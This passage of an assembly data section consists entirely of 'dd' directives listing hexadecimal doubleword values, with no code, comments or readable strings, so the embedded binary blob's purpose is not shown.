8B5A02CFh dd 0F3103EAh, 930064F0h, 6B39EB9Ah, 1B6C02Fh, 33EFFE30h dd 0E37DC86Eh, 662D890Bh, 0C230A02Fh, 3AF8D81Ch, 0EC0C44AFh dd 0B0182785h, 0FED70C02h, 80CA229Ch, 8808BADCh, 2B1D0136h dd 0F1D92F4Fh, 35789DC9h, 70D2A6CCh, 1A59C046h, 0AF0F3ED5h dd 0D9D82C0Ch, 38481932h, 0FD01354Ch, 1430AEBDh, 8412C8BBh dd 14AC3D59h, 3568F4D2h, 3F0E708Dh, 0F05C8D56h, 0C98ADF61h dd 101490B9h, 9D6B0046h, 0BD54050Eh, 0DCB53FFFh, 21EFE00h dd 730D7E45h, 0F85D39h, 4404AA53h, 2DAECBh, 27FA922Fh dd 734D3846h, 850053FCh, 7977CDEAh, 45A01h, 2E9E0A74h dd 0C937C793h, 1403701Ch, 3A78D180h, 0A538E0h, 53AEF0E8h dd 3DCD2810h, 5C184507h, 0B0FC150Fh, 20AD27ACh, 0B06E9C85h dd 5900FA50h, 0CB2C5421h, 0F3C18h, 9D4F8375h, 9F30126Eh dd 0D08CC800h, 0E68FA8FDh, 441C005Ch, 3C4AD906h, 6A4C1875h dd 0F1770417h, 0CCD3D059h, 0B95BC154h, 311034h, 0B6B7C92Bh dd 27D8DDE3h, 6B729200h, 0A21B599Bh, 0E23E9057h, 377D1F23h dd 3FEA008Fh, 845BAAB5h, 4DC4F0Ch, 1CA1182Eh, 402B9EA8h dd 57683AB3h, 0CC01E130h, 2092DBE5h, 39747206h, 1C08B463h dd 3F180044h, 8A738C25h, 0ABE63700h, 0A316A230h, 0F6F21Dh dd 61AC93E2h, 0B3A05E81h, 7203927Ch, 0F10137EDh, 0E0DFE225h dd 37F9B1Dh, 0F5E8D2BEh, 1B80716Ch, 61006D62h, 4741B4C2h dd 2671225h, 6ADD3504h, 10491859h, 0F07C03h, 0BDE86E1Dh dd 759D9132h, 4E05Fh, 61A28FCFh, 736E51EFh, 50143E30h dd 109D4C1Dh, 11C160ACh, 3B000667h, 0D201478Eh, 1C050DEAh dd 0B05062B5h, 0A0FCA0C3h, 0EDB4A0h, 37F14002h, 0E8E3AB17h dd 0B2002AE2h, 0BE75966Dh, 0DF7D12h, 69CEC677h, 23574DE0h dd 0D2F21107h, 20074A8h, 352439h, 7486075h, 0A90E22A3h dd 97EE6C00h, 92080CFCh, 0F05B008Fh, 4A863427h, 0D3F65CF9h dd 9416980Eh, 54F2600Fh, 383F60C1h, 0E5582871h, 7DB01B00h dd 0DF140D95h, 5FC05403h, 0B026833Fh, 2FF129E7h, 0F081EB85h dd 0D40243F7h, 4100D59Dh dd 0CA42335Eh, 19AFFh, 32852C1Dh, 0B604CD72h, 806D663Bh dd 0B457D24Fh, 0D48D6Ah, 7634F4BDh, 661A41C8h, 0D04C0F2Ah dd 0EE8CF122h, 5E4E38E4h, 6DE6E706h, 8400C1D0h, 3B1C8AAh dd 8D8B85h, 95438280h, 0D702EEB6h, 4E00AD7Dh, 5984EFAEh dd 0A3A7638h, 9B3C2070h, 0BD6C00D6h, 0B1AA71D2h, 7D831A16h dd 52B5000h, 0B609F5h, 3E290726h, 0B589C702h, 7449FC24h dd 36BE6C00h, 193279F5h, 0A91A09B4h, 0C062D3h, 73E20C0Eh dd 7FC52A4h, 3447A9E0h, 512D043h, 44000E9Fh, 0A451733Ch dd 2991178h, 24F396BDh, 0E8601B10h, 0A3332F43h, 0FF047068h dd 0C0762AB1h, 2F0367DCh, 548088B9h, 0D75EB41h, 0A8710490h dd 0C5075C00h, 81B76D42h, 6BF10074h, 9B8DD58Ch, 0CE13B170h dd 1480855Ah, 51C2821h, 55FAC46h, 72A9C042h, 0D90978D6h dd 66C20Ch, 7ACDDF74h, 0FCA20BFh, 0F907122h, 91818ACBh dd 3E7C3F80h, 91EC416h, 0E7018899h, 213385C2h, 60EE4h dd 0C820E06Ah, 0EE4FE480h, 0B85F6300h, 0A5CA759Ah, 574C0E32h dd 79A0D8F9h, 77C315D9h, 423CC575h, 0CCAA80A1h, 1ABB1FF0h dd 6720Fh, 0DF63584Dh, 36DAC7ECh, 34417600h, 3DDEFE2Dh dd 0E830035Dh, 9DE21569h, 0C4001086h, 32D7F8Eh, 354F3Ch dd 3A712745h, 0FB077A78h, 6A0138F6h, 48624455h, 9C709111h dd 0A0211E96h, 6E4CC5D0h, 56CC4E14h, 3780A7EBh, 26A0A5E8h dd 0E194B100h, 0AF81BF72h, 0FC1B009Eh, 0E905897Ch, 8F022CBBh dd 47EFB54Dh, 0CC50C1ADh, 0D7039C6Dh, 5F489F7Fh, 80558C0h dd 0B1659100h, 5741DDEBh, 62EF0B0Dh, 58824622h, 0E0A9C0h dd 952DEE02h, 1B548345h, 7C94E09Ah, 0D0725463h, 0C6FE0EECh dd 9CEE7B44h, 50D0980h, 1174680h, 0CC01C1BBh, 0ADE081A3h dd 0F60F0EC4h, 0F8CA00D0h, 8AD668C7h, 4E0757DFh, 0B636EB7Bh dd 4B33EA97h, 0E18708Ch, 0BB6CA6CDh, 806AC964h, 594C9D54h dd 10B8F624h, 64212492h, 0E048DD7h, 1FC05F98h, 0C1556DE2h dd 3650F8C1h, 99C5D4CBh, 65034468h, 4C4F1043h, 3FF8FDE3h dd 0AE03A67Eh, 832E96E7h, 0F5291389h, 53C9074h, 3073BA0h dd 67519923h, 0A2091430h, 0DEF218B0h, 0A62719DAh, 6A6E0D03h dd 0A87A96DCh, 11D4BAEh, 48C7F3D9h, 0E071A3A5h, 0C018592Fh dd 0E7DCA430h, 69291C39h, 8B650F9Fh, 5BACFF00h, 3707CF0Eh dd 0A4C48EB3h, 0D315B120h, 0B0BC00DFh, 0C98D70DBh, 91021E03h dd 0D07C3487h, 0DEC4601Dh, 2610000Bh, 29F0FC4Bh, 72092CADh dd 188D0D23h, 80840Ch, 0A1295F4Ah, 1F7CF4AFh, 39FDE700h dd 17282B0Fh, 3DE30063h, 82724D74h, 0D1001DA7h, 64039FD0h dd 67625Bh, 1FA895D7h, 7B49ACC7h, 0F5852600h, 0F4F2B73Ah dd 38122C06h, 0D84F03A4h, 0B5B154A3h, 0CCE05108h, 9B91D413h dd 0BBCA9500h, 0B9B281C9h, 0F415F094h, 0F23E0085h, 6EF5F0AEh dd 83005C3Ch, 3B899209h, 3F9C8D9h, 2838694Bh, 54A8399Eh dd 0D538CC37h, 0EFB301C6h, 96BA521Dh, 0A6D08821h, 32FDF030h dd 0AE105585h, 3C981C03h, 0B91C8E21h, 0EEED80A9h, 45ADF5D3h dd 13993500h, 0F75EB4E9h, 0FD27C3Ah, 68F96967h, 0AFD77181h dd 6280E3E6h, 4500A5D9h, 63C714D3h, 0BFB7465h, 0EE682BE5h dd 73E16763h, 24F0C41Bh, 4500ED7Ch, 4CF119D2h, 13743Fh dd 5BDA175h, 0F8CF219Dh, 0B85CC500h, 2B1DA68Bh, 43DE80Fh dd 0DB4EE863h, 8594A4AAh, 0EF3A0500h, 2BECA65Fh, 98B0944Fh dd 0AFFF20AEh, 4E2D5D14h, 7DC6020Ch, 508E8DB6h, 2269205Ch dd 0D2B2A00h, 0E3755F29h, 0C3D70020h, 6EE7342h, 830091B5h dd 4BFE0C38h, 0CF7AD2h, 0A29E2DFCh, 61A9E35Fh, 4F0F6700h dd 0C0F92E0Ah, 0BC930071h, 0FAA83079h, 0E7E8D9C1h, 0C207D4B8h dd 0DDC0DC86h, 0E048B071h, 1E5C9F0h, 0EFC60CF8h, 309B0405h dd 0D71CD02Fh, 961C660Dh, 0BFD143C0h, 765AC1h, 9970BD8Dh dd 4F2F698Fh, 7DB7333Bh, 0E000C74Ah, 0D340A3A6h, 0A0500045h dd 0A56CE732h, 1100897Fh, 333CEC87h, 4F624Dh, 80D9EBCDh dd 744E6126h, 0AD447C13h, 27287C07h, 78F70B22h, 7C52FA80h dd 0F0E900A4h, 78A93F34h, 2B0013BCh, 5146EAF8h, 0BFA0CAh dd 69722963h, 83E6F95Ch, 3EB3B348h, 9B3980AEh, 530503F5h dd 993E2E66h, 7102CC2h, 3E01D88Ch, 41C3F8E0h, 922E2294h dd 3B3C987Bh, 0A4BD004Ah, 0A619E5E0h, 30280025h, 0BEC61766h dd 0BCF43284h, 0F2244400h, 366B4DF8h, 0A2D2071Eh, 0D0076AD1h dd 4E0F3473h, 0D50048B0h, 5023A017h, 0F1D8C4h, 95F72E39h dd 7E12DAFDh, 909A411Fh, 898F7380h, 0E10FBE1h, 790B3047h dd 0A5EE099Ch, 0AC20F08Bh, 6654B921h, 8E68E018h, 0F4818h dd 7CDDE9FFh, 528B7D70h, 0DB551B05h, 2090630Ah, 9B82E08h dd 0A198166Ah, 1CCDE080h, 0C7013FA2h, 46EC5D84h, 95FFE539h dd 10330D0h, 8A8E01F8h, 7EE2CB12h, 62682448h, 209E9100h dd 0BBD8AF69h, 6FE50183h, 0FFCC34Bh, 3A97E427h, 9C004896h dd 0C4E13B6Dh, 963D0071h, 0C9E8DABAh, 5CFC70F0h, 0A13C0400h dd 1E3E255Eh, 0A7CD0079h, 0C5ECDBFEh, 0E812915Ah, 74A0F8EEh dd 2F05009Bh, 2A7C126Dh, 0E905D07Ah, 6FC216B8h, 90DCA0D0h dd 124200F7h, 0C620A970h, 2490D7E3h, 69BAC200h, 66CF3FDBh dd 4C1AFAB5h, 9607BC7Dh, 40A2EFh, 686D5D2Ah, 29F97200h dd 0E116672Fh, 0B13500C9h, 94E35B7Bh, 0A4B8328Eh, 7D01587Bh dd 87E8C6FAh, 84608283h, 14491C6Ah, 4B5BC7E4h, 8080F743h dd 0AFD883D1h, 4420C700h, 0CDC153Ch, 33B6016Ch, 0D5821962h dd 76D45265h, 26408853h, 1774221h, 3E32812Dh, 3B3359FEh dd 344410h, 0B3628E70h, 179B4751h, 4270772h, 47C05DF4h dd 0AF108377h, 37DAEBh, 0CD655B8Ch, 7D3686DBh, 7335B900h dd 26996CE0h, 0F2B7ED4h, 0C5F1A502h, 31DFF8C0h, 74128577h dd 400D148h, 277BDEE8h, 6F7217h, 69F74B93h, 0C43B5E11h dd 0EB005090h, 0C9D91A65h, 0D1B08AEh, 0DFC3CE95h, 8218F046h dd 19C3DF3h, 0E09A94B6h, 0AF304B89h, 0B8C7036Ch, 661A035Ch dd 568CC3E8h, 0BF00F773h, 14E892A8h, 0F1F7B4Dh, 0E9AC423Bh dd 0FAB20CE0h, 0FE03EA04h, 47416D76h, 7FD3A007h, 9B57004Ch dd 60AA653Eh, 0A800B230h, 3CF17785h, 11F50F9h, 0AB70BA02h dd 708C7586h, 9B023FE0h, 0CB56B915h, 7938C05Dh, 0E43F44Eh dd 23019F48h, 425C8441h, 8E56C864h, 33F78600h, 0A011410Ch dd 70C35CBCh, 53BDD000h, 9459D471h, 0B357F605h, 0A382EF0Bh dd 0D13BC193h, 581E920h, 0D85F36D0h, 0CE24F085h, 39F00A00h dd 3F663C17h, 531403B2h, 831F02E5h, 0EDC8A7D3h, 0AFEA4AD5h dd 0FCAD3300h, 80D7C624h, 45B0005Bh, 9B987E0Fh, 2CF0B54Dh dd 9085C94h, 1101D863h, 0DE86AA00h, 0C0E24114h, 0DA8A2644h dd 0FCF0075h, 403C4ED7h, 25F086F2h, 0CB0B1200h, 0D8E7746Ch dd 6E8C00B6h, 0AF30B567h, 5E00F33Fh, 8A24C6A3h, 92CABE77h dd 0FD370148h, 0A78CE5C8h, 23E424C7h, 1090500h, 0D7F8584Ch dd 0B8A9035h, 49278C39h, 6CCE8CC0h, 29159001h, 0C9176BD5h dd 4B9E1981h, 80A9E938h, 39E65361h, 3024CB8h, 0A8450AA7h dd 27B844DDh, 78C4DE04h, 0D3079717h, 0EC8A327Bh, 2400B4F2h dd 5C17C230h, 0AF5A73h, 5974D740h, 287A9D7Eh, 61D8F400h dd 0BA675CACh, 0B2320073h, 92C26ADFh, 0F1004E22h, 0FD9340F4h dd 0F2125Fh, 91CA419Bh dd 305D3AA9h, 0B9496900h, 2048C272h, 35E627DEh, 9C61CC40h dd 7355300Fh, 1576C08Ah, 60B70254h, 0B85F2136h, 0EF00D322h dd 0ED0AA8A7h, 8C1801h, 89AFBCEh, 0B8E18450h, 82718904h dd 4200EEBCh, 6F395E32h, 0C6302E00h, 0FF10779Fh, 78A80769h dd 0D0E3F514h, 0ADB8269Bh, 7BDA2C0Fh, 0C82F6006h, 295A72A2h dd 1D90CBB5h, 604EC01Dh, 0E2254728h, 1E990E12h, 205A284Bh dd 4BDB8EE0h, 80A74ECCh, 49B7C708h, 0C5D8BC28h, 0B88AE500h dd 2E627AAEh, 3EDA006Eh, 32395F28h, 0D6017CCBh, 0EFFD8DCh dd 0C7085FCh, 4B290067h, 2EA61AB3h, 0F30B4A2Dh, 202C24D3h dd 4CCEA2D0h, 0FF13885h, 72023387h, 980B0B6Eh, 43134858h dd 240067A5h, 0AD0B311Ch, 0AAD4506Fh, 40EC0009h, 773DDF27h dd 0F600DD68h, 0ED2CC202h, 3DF826A4h, 0C8008D50h, 18C61DCAh dd 1307DB31h, 697C1EF5h, 2B3A95B0h, 20AD009Eh, 0D1847A93h dd 3009A12h, 0D78291AFh, 9C61AE6h, 0EAB2445Ah, 0A60FCF03h dd 1F0E2000h, 9F85647Ah, 933B0737h, 412236D7h, 41D38478h dd 0F7808B24h, 56033078h, 5AFEB28Ch, 61EFA05Ch, 99284869h dd 0F9A73400h, 0C921F5ADh, 8B4D7A00h, 0AB536178h, 0F02B00Dh dd 318F1E1Ah, 661D6080h, 997211AAh, 0D094D101h, 4522853Fh dd 626AC30h, 5F8B732Eh, 0B41879D6h, 0B9116D9h, 595C0081h dd 1237A799h, 0E888A6D2h, 0FD8BE65Bh, 0F8821C43h, 0E062B12h dd 0DE264A73h, 22203E81h, 31704465h, 80D62B88h, 4B1B8028h dd 5BA3E3h, 0FD52CF78h, 2AB5A20h, 7ADDA400h, 1B968F72h dd 0DF5F0038h, 0D648ACF6h, 5C142D07h, 24ACCF58h, 25051250h dd 0A04F4F73h, 0E524A591h, 20286h, 9119849h, 9E5C456Ch dd 0B5A10200h, 486F9540h, 86B600A4h, 3B4E3E52h, 0EA006DCFh dd 9C942D0Eh, 0E6C4BF0h, 0BB2396Eh, 60227E40h, 42000F59h dd 11E54866h, 0FAF61Ah, 748DDCA3h, 2F5FBD5h, 441E906h dd 1F286C62h, 0CE0D12E4h, 0EB003879h, 0DFDCC8C7h, 28F71500h dd 0EFE50667h, 852000E0h, 0A43B1DE4h, 0BC007FF6h, 1CFAABE1h dd 24220FB6h, 340059Dh, 0A38063C1h, 6916B5E0h, 0E86EFA00h dd 4177878Dh, 21F10E20h, 0B980F70Ch, 38DC5B92h, 0F3557303h dd 91BC8A88h, 0E0E24D52h, 61030EA6h, 897FB87Bh, 9C54C48Ch dd 76AFE701h, 4A684479h, 9DF8CBDDh, 479200B7h, 6F616774h dd 0C403ED2Ah, 0D8281C80h, 54A7E097h, 642B0072h, 6F0BEE58h dd 3E7596B8h, 0AB5D300h, 0ADD22A40h, 0C6A9007Fh, 751965CBh dd 500CAA8h, 616C1F64h, 3FD25DD0h, 0BF83C12Dh, 0C2A29BDBh dd 0D3BC3BA8h, 0D600E47Bh, 0DE815867h, 7A06CE8h, 0E62555AAh dd 8748A008h, 0AB0B5D62h, 80F3541Dh, 84183B87h, 4A160442h dd 81A37CEFh, 405A1744h, 0F4F8FAE4h, 0AA9FE21Dh, 0FE4F063Bh dd 10E0A5h, 4129EF17h, 426EA686h, 0A9B7A009h, 1B6420A2h dd 79643BCh, 0B8F3A3E8h, 0F9277FBEh, 1DF6E111h, 0D70BF467h dd 0F19DA00h, 0D27668CFh, 0A0295007h, 49F3002Fh, 562531FFh dd 3D76465Dh, 9F642300h, 77CE40A5h, 0BB800C4h, 2BCB2528h dd 7D00C38Eh, 3D7C5F0Dh, 0E0A7B58Ah, 1C930AB1h, 0F0CF46h dd 0CE6453F9h, 0E23A95F7h, 6F3D8056h, 0ABC00A90h, 0A28A0672h dd 31A88D26h, 0E0791700h, 2BBCE324h, 0BF390081h, 0F8AE5B1Eh dd 0A200420Ah, 8C720127h, 0EB6E29h, 9FBC204h, 0F83E2EDFh dd 0EDBD0300h, 56B0691Eh, 0CEE9000Dh, 0FB14E105h, 0C738F0F4h dd 4ADC00ACh, 0D9E8418Ah, 3816FE37h, 6D80877Dh, 18B80D3Fh dd 72C30961h, 0F04224DFh, 3EFCECBFh, 178001D7h, 0EA4D694Fh dd 0C6131B54h, 3C409FAAh, 0DDBCD0B9h, 0AEFF00FBh, 0ED31E113h dd 0D800B6B1h, 67F3567Bh, 903A1CE9h, 2A4C008Ah, 74A6034Bh dd 3F00A36Fh, 0F4C01AFBh, 15E7559h, 30771DC7h, 0E8DA7284h dd 47382C51h, 0BD589EA2h, 0A4A3068Eh, 4803987h, 30F254D4h dd 8268853Eh, 89B88EECh, 8D0398C7h, 389BA850h, 99880595h dd 2A8F0Ah, 35071DFCh, 0DD01FA44h, 5F80CF9Ch, 40FEAD78h dd 1E2458h, 0BE14F950h, 11D1E920h, 0B3D60307h, 6320C46Bh dd 0E424093h, 0A31321BCh, 6080810Ch, 0FEE34500h, 4A1036E9h dd 0BC144DB5h, 0AE478307h, 511DA0CFh, 7A18CC28h, 8888A043h dd 0DCF2008Fh, 7BD6E15Bh, 652CFE3Ah, 1601E90Dh, 2A5119FBh dd 1FF3CCh, 0BDA51328h, 6D8A7B56h, 6E599A01h, 0CE8908EEh dd 755B2420h, 0C59B0F91h, 37DF45Eh, 3E3C6852h, 2B63BF90h dd 86312100h, 13A081C6h, 0D66E1635h, 15BC0C85h, 0C0A021A0h dd 0A31E86CFh, 0F3402D64h, 42B75156h, 1B7D39EDh, 0AE8C8400h dd 0ECA57112h, 0C6502800h, 455F49B6h, 0AE107E7h, 33574865h dd 21C8965Bh, 7F0058F7h, 8DC0D362h, 26BB035Ah, 0D10A95h dd 0AC3307E0h, 5C0056DAh, 0CA10201Fh, 71AC821h, 0EC3C18E2h dd 90EFF726h, 8727AC6Fh, 42691F00h, 0F92F3D4Bh, 0A3461402h dd 0FB02FC90h, 71623C50h, 0C8847460h, 0A09848h, 0EC43D729h dd 11CEB1Bh, 2FB5111Fh, 0FC7F1378h, 0BE1E2584h, 6941DBBCh dd 0EBA5759Ah, 0FD107DCh, 0B7ACBB96h, 0E348F560h, 180062DCh dd 35ED41Ch, 77E4C473h, 11F300BBh, 4E52912Eh, 0D900D3C3h dd 9D8BA76Ch, 0EC181A3h, 0F1B69653h, 9CDA6C3h, 0E001D03Ah dd 0F83BCAB9h, 535D007Bh, 7494D270h, 0D7F64431h, 0B60084B8h dd 0A8AD8C47h, 58FABDB0h, 0D04C18F7h, 0E471BF00h, 210718E5h dd 6D336902h, 60450459h, 7F6289CCh, 44860719h, 0D0B093F1h dd 13E13DC7h, 0B67820EDh, 39706400h, 0A8063F8Eh, 0E9812C3Bh dd 44AD0004h, 890CB5CBh, 2D30FA13h, 0F631DC40h, 5F6256h dd 0C405CBC8h, 0EC87A726h, 2C88CA00h, 8F549298h, 0ADB03Eh dd 7BFFDE61h, 817D5C34h, 210D8000h, 2920F3A7h, 8060F70Fh dd 68B0A28Ah, 0C1A980h, 5650D8A3h, 8D877E7Dh, 74DBA430h dd 9432E1h, 0B39FEFB4h, 8452D154h, 7481C201h, 0F999A9AAh dd 4AD7C842h, 828080D8h, 761E7Dh, 0A3FD7F36h, 5C47627Eh dd 213B3000h, 5EB428B7h, 61F20756h, 0E09BBF41h, 25C72009h dd 18D82E1Fh, 0BEB4F540h, 7F9D52Ch, 7F54E0C0h, 0A3F1E0C6h dd 5D00C33Ah, 97DA962h, 0BF3314B1h, 7FFC7850h, 6B134300h dd 5AF378AEh, 1FE500CBh, 35668A3Ch, 0CC1E30ECh, 7C0090ACh dd 0CF9B0BE3h, 0D5D10F45h, 7FC4A1B1h, 8FC2808Bh, 63FCFEADh dd 0C9A5400h, 1FFA7C1h, 7E46079Ch, 0C0223505h, 97F5C0A2h dd 38ACC900h, 57DED0C3h, 0C68B0F32h, 0EBC045C1h, 365A6460h dd 0E49DDC0Fh, 0BEC3007Dh, 7EE7AF08h, 64E0009h, 0B38D41A9h dd 0F300D76Ah, 559EE99h, 325434h, 0BB49AF47h, 0E9E0A775h dd 246AFD00h, 0B2925B57h, 1AECE7h, 630A5060h, 0BAC73247h dd 0A3A8CB01h, 1E4D6C28h, 303CBCFCh, 0BFFC50CEh, 58E21C03h dd 91A97303h, 0B0869DC9h, 0C9E99E2h, 1829E5D0h, 0A1006760h dd 71DE90C8h, 30B1E8Bh, 0C41D0878h, 67E397A7h, 0CCE48814h dd 22950118h, 2A9EA387h, 630F4FD0h, 5A9F1827h, 0E9EE1008h dd 38821E64h, 2AE4D90Fh, 9243EC80h, 570380E1h, 0A3BFA073h dd 0B06038AFh, 50A10B99h, 0E596436Bh, 0D1C778A0h, 0A9B51B00h dd 0B9456FA6h, 0CBA80114h, 1FBDBC51h, 4A5BC912h, 80E63958h dd 0B88AA18h, 0E8A07840h, 50D7154Ch, 0CC00AC6Bh, 366C8C2Bh dd 8E01F3F9h, 974D35D6h, 943049FFh, 5BFCE769h, 481B00C7h dd 0E440A8AAh, 0D8FE5EA5h dd 800E0BE6h, 86BF7478h, 0ECE988h, 6F6547CDh, 4C066ECh dd 738A0603h, 0BB311A5Eh, 0A04EA0A1h, 0E46F0079h, 0D14B10B4h dd 3005D63h, 0F82562FCh, 92C259h, 539CB0A3h, 5767FD30h dd 0D9CFCE73h, 1FE0817Bh, 2BD8B31Dh, 8AB66E4h, 0A4002182h dd 3EA8E094h, 29A026h, 0AE442E1Ah, 0EC7F1BF9h, 9F2C9277h dd 5B1487A3h, 8C97BC30h, 83F2EB38h, 18116A25h, 93580021h dd 4D5B56B9h, 7C481C24h, 43078360h, 90ECF36Ch, 66E4678Ah dd 214E0861h, 6D4AA800h, 540D0EBAh, 0D4F0001Ch, 169D08Fh dd 75607DBCh, 40E852A8h, 3918D82Eh, 560CBE67h, 1126CFD5h dd 27150004h, 0B01A9E9Dh, 0EA66A76Bh, 0B210308h, 0D7271C66h dd 0E5E75380h, 0F70E1499h, 46BB6E37h, 32919CFh, 24A6EF08h dd 0AE0076C2h, 9C412675h, 1D7E9DCh, 5B1E63F4h, 85857CF8h dd 92B10D90h, 0E98A9043h, 2A49741Dh, 0C4B495DCh, 1882A4D8h dd 30D85AB8h, 99102804h, 3B1F7F96h, 9EC04B65h, 0C3CB217Bh dd 0C8071C02h, 0CE8B8086h, 0A10C6831h, 0AC5E0E60h, 9984Ch dd 0E8BBC91Fh, 6FAB30F3h, 8B97371Fh, 0D2405D9Dh, 0B8A69411h dd 596B0E9Dh, 920300Ah, 7B0F72AAh, 8DC1610Fh, 0D862A2C9h dd 20888E13h, 99BEB4Ah, 2A3C0784h, 2312C2A6h, 3AB8F1C1h dd 78011E1Fh, 600739A1h, 29F0E326h, 0F5C91DB2h, 19C183E6h dd 0FFE8E01Bh, 0D600795Fh, 1332D8FDh, 3D7B5097h, 0C4BC3F4Ch dd 0CC749E00h, 0E28EEF5Ah, 6A7D6900h, 0EB5F504Dh, 3F3800EEh dd 64A8AB71h, 84F68ADBh, 0F416BC00h, 917E1A30h, 5B86014Fh dd 9A78E83Eh, 0E7F0DB89h, 5700F507h, 2B06A559h, 33139B3h dd 30C3C58Ah, 0D7C00C5Eh, 4F0EC7CBh, 0CF136820h, 7075E0AEh dd 7EBF91Dh, 2B7453C0h, 736790D1h, 0B900EE69h, 3FB6CA1Ah dd 1E141218h, 0C1F03A9Bh, 492EDF4Fh, 816EC8ACh, 0B29DE700h dd 3CAE5EA8h, 0B17E0002h, 0A016FEDh, 441FF098h, 0DB00CBC6h dd 0E9AEA4EFh, 0C52F00F4h, 769203FCh, 0B1009EE0h, 25F54F17h dd 0E315C0h, 0DBFCB691h, 145CD11Eh, 8752021Ch, 0CD817D9Dh dd 51D5AEE8h, 8081DEDDh, 57374EE9h, 6A94F4FEh, 0C90383EEh dd 2EC41FBAh, 8CEBB8F9h, 4CAF030Ah, 0DD47EA77h, 4B73800h dd 5879C0A3h, 3F3100D9h, 12D1DC15h, 0DD183269h, 0C2490677h dd 0FE0B0044h, 0C779700Ah, 0F450235Ch, 1A0099D8h, 94416963h dd 0F0EA15F7h, 62A00018h, 0F9721FBBh, 7E435CAh, 9CC77E06h dd 38EDECh, 0D3AAB459h, 752AAF3Bh, 0FE5B8504h, 0EB005C9Eh dd 0D913A02Dh, 0B637D700h, 0B1DB244Ch, 50637C11h, 314DEB8Fh dd 0CB9832E5h, 849DE080h, 54A7F805h, 0D800DF65h, 37BA5DFDh dd 0AF2600DBh, 0F0D0FBA1h, 43581EC5h, 0A4007941h, 6EAE3549h dd 0A874Fh, 0B3CFDC22h, 0C5A53345h, 0C0FEF800h, 0A4A73182h dd 0EEC2006Ah, 4E7DA32Fh, 0E600348Eh, 0CCD46C03h, 2C9F96Bh dd 0A1B8ADAEh, 94822157h, 0DD2759D8h, 0C48DD4D1h, 0B20B70h dd 3E308067h, 4AE65F55h, 3B33801h, 5AF65E42h, 10CFECh dd 2A4E94C5h, 7A671E95h, 30112400h, 0D1F53D73h, 0F9750F1Ah dd 0C480EB6Bh, 8CCC16D4h, 3A7A3B0Ch, 0FB2913h, 0E7EB71D3h dd 98372EFCh, 401AA800h, 8149F912h, 6FE92645h, 0B15200F0h dd 48F6FEAEh, 0D301CCFCh, 0CB83D72h, 2220276Dh, 0B6E51EB7h dd 9E00FD46h, 3F26451h, 88036FB2h, 2377CB7Bh, 9614E8ECh dd 8B7721h, 5753842Eh, 0EA0265C4h, 347E7B07h, 0D0600EDDh dd 1C86663h, 24B833CFh, 0DC961A7Ch, 0C400B5E4h, 4A36C1ADh dd 11A05Dh, 0B35B1D71h, 2AFD342Ch, 7454901h, 58A93797h dd 0A0FBBCE5h, 54FEF51Dh, 1358CF9h, 1718C1FFh, 0BCD3BD67h dd 246610C1h, 0D46A6903h, 0E805ECE1h, 869801A5h, 54E5DA80h dd 50F0E0h, 0DE85EE20h, 9B797E47h, 8F34CB00h, 0D6985BCAh dd 4FB10009h, 21E2C39Dh, 38008940h, 0AB19E70Bh, 2746D30h dd 672BF4C8h, 0FE8ED9DCh, 0B286C03Fh, 1D3189ABh, 0F5BF600h dd 25223DB4h, 0E9FE00C7h, 0D1DB273Bh, 8600389Bh, 2B9260BEh dd 3C35746Fh, 3724C6C7h, 0A3960389h, 0DD87230h, 9C00D790h dd 36D47620h, 602EEC1Dh, 2C6DE222h, 140063B6h, 48D18697h dd 3C21BCE5h, 7F808EABh, 0DFE11875h, 700BBD5h, 4382D1C6h dd 74AE4Ch, 5B10DD58h, 3F4AEC8Fh, 5872D73Dh, 0A5B200BEh dd 4CF5C84Dh, 16341F4Eh, 0CA98805Ch, 0FE7DE68Ah, 3EBC6114h dd 0D77C00B4h, 2D68CA3h, 3BB21EF1h, 93CF0015h, 767862AEh dd 8C5DDE00h, 7B2ECBDAh, 56D0007Ch, 3430A58Bh, 19005007h dd 0AAA21FFh, 71AEF8EDh, 97660083h, 0A3F1D5BFh, 0A8E0232Fh dd 0FA93D40Fh, 26BDC0A4h, 0A1F02Ch, 92CDBC60h, 4B02E2DCh dd 0A0D50430h, 28683FD6h, 79986509h, 47810091h, 246BE957h dd 585C13E4h, 9C4F248Ah, 0A55D3C00h, 192B802Ah, 1921D0B4h dd 38A2D878h, 0DB5CE912h, 3C682400h, 14016DFh, 0CF91AEF3h dd 0D4F4C273h, 0A9027735h, 3C8F6278h, 233E60DAh, 990ADh dd 7140EF87h, 0B3621D43h, 10E81C1Ch, 6C0014D2h, 476C6586h dd 909005h, 36B4F581h, 0B254DD16h, 18063130h, 3790C684h dd 608803B6h, 27AC02DEh, 557A7600h, 0A2A91267h, 0F7A604F5h dd 918CB6E3h, 50D0C1E4h, 0FCB7ECD0h, 0CB1C12EEh, 0F80D14Dh dd 9B9C133Bh, 75F4E268h, 519100C3h, 30C0AED8h, 0C83DD976h dd 15DF07CAh, 0B8045041h, 2A023481h, 2671D2F4h, 4284F72h dd 4037304Ch, 82316244h, 0C94DF21Ah, 0D4007A18h, 0E3F3450Eh dd 0B92A8600h, 1C561880h, 2EEE3C02h, 2993D000h, 99AAC4EFh dd 0E1109E00h, 37E4D511h, 52230083h, 1F33BB6Bh, 9609CDEEh dd 12662AFh, 67838505h, 1CA729E4h, 8027F0F3h, 88B57E9Ch dd 0FE00A4EDh, 0CD08764Bh, 3B4E5521h, 15A423DEh, 69458E0Ch dd 0BBC0194Fh, 1EA2FFF4h, 80461A39h, 975755C4h, 0A0C78F4Ah dd 1D7EF0A4h, 80F22AE0h, 0CC265D3Bh, 8E483878h, 764F0418h dd 0C806DEDh, 0A8571h, 0B726BCE7h, 0F366303h, 5500E5FAh dd 0C73E580Dh, 4AD112h, 6CCFFD2Fh, 0AEB3AF5Fh, 0EA227500h dd 0F4CA5E2Eh, 790F58B9h, 0A0932000h, 0EFC6B7FBh, 19EB2503h dd 0C87A84C9h, 942DE3h, 7C773EA9h, 31201438h, 0E4406A00h dd 0D8854A41h, 45510043h, 0FD79B873h, 0A6008E35h, 0E2243827h dd 30A8D67Bh, 0CD118DB4h, 89006AADh, 0AC410BBBh, 17F743Ch dd 1CC28421h, 0C59C6758h, 6B302038h, 6EAF7B00h, 318692Bh dd 0AD1900DAh, 0F1C84F2Ah, 61007258h, 1AE63F04h, 962F54h dd 61CE5CAh, 37133570h, 0C05B2A00h, 0EBEED7A5h, 0B6D207BDh dd 0C62E883h, 0FBEE2460h, 0D8D16F02h, 0E3380F72h, 7818C068h dd 0C643001h, 61F1E088h, 2560F2F0h, 12601911h, 648D01F4h dd 0B6ED6D15h, 656BF0F7h, 0A09F0A0Bh, 